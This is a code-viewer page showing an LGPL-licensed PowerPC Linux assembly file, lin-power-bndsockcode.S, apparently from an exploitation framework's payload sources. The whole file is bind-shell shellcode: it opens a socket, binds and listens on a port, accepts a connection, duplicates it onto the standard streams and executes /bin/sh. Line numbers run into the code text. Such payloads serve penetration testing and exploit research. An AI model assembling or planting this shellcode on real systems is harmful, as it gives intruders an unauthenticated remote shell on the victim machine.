Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/external/source/unixasm/lin-power-bndsockcode.S
Views: 11765
/*1* lin-power-bndsockcode.S2* Copyright 2008 Ramon de Carvalho Valle <[email protected]>3*4* This library is free software; you can redistribute it and/or5* modify it under the terms of the GNU Lesser General Public6* License as published by the Free Software Foundation; either7* version 2.1 of the License, or (at your option) any later version.8*9* This library is distributed in the hope that it will be useful,10* but WITHOUT ANY WARRANTY; without even the implied warranty of11* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU12* Lesser General Public License for more details.13*14* You should have received a copy of the GNU Lesser General Public15* License along with this library; if not, write to the Free Software16* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA17*18*/1920#include "linux-power.h"2122.globl main2324main:2526bndsockcode:27xor %r31,%r31,%r3128lil %r29,__CAL2930# socket3132cal %r28,-511+1(%r29)33cal %r27,-511+2(%r29)34stu %r31,-4(%r1)35stu %r28,-4(%r1)36stu %r27,-4(%r1)37mr %r4,%r138cal %r3,__NC_socket(%r29)39cal %r0,__NC_socketcall(%r29)40.long 0x44ffff0241mr %r26,%r34243# bind4445cal %r25,-511+16(%r29)4647/*48* The following GPRs result in zeros when used with liu instruction.49* %r24, %r16, %r8, %r050*51*/5253liu %r23,0xff0254oril %r23,%r23,0x04d255stu %r31,-4(%r1)56stu %r23,-4(%r1)57mr %r22,%r158stu %r25,-4(%r1)59stu %r22,-4(%r1)60stu %r26,-4(%r1)61mr %r4,%r162cal %r3,__NC_bind(%r29)63cal %r0,__NC_socketcall(%r29)64.long 0x44ffff026566# listen6768stu %r31,-4(%r1)69stu %r31,-4(%r1)70stu %r26,-4(%r1)71mr %r4,%r172cal %r3,__NC_listen(%r29)73cal %r0,__NC_socketcall(%r29)74.long 0x44ffff027576# accept7778mr %r4,%r179cal %r3,__NC_accept(%r29)80cal %r0,__NC_socketcall(%r29)81.long 0x44ffff0282mr %r21,%r383840:85# dup28687mr %r4,%r2788mr %r3,%r2189cal %r0,__NC_dup2(%r29)90.long 0x44ffff029192ai. %r27,%r27,-193bge 0b9495shellcode:96# lil %r31,__CAL97xor. %r5,%r5,%r598bnel shellcode99mflr %r30100cal %r30,511(%r30)101cal %r3,-511+36(%r30)102stb %r5,-511+43(%r30)103stu %r5,-4(%r1)104stu %r3,-4(%r1)105mr %r4,%r1106# cal %r0,__NC_execve(%r31)107cal %r0,__NC_execve(%r29)108.long 0x44ffff02109.asciz "/bin/sh"110111112113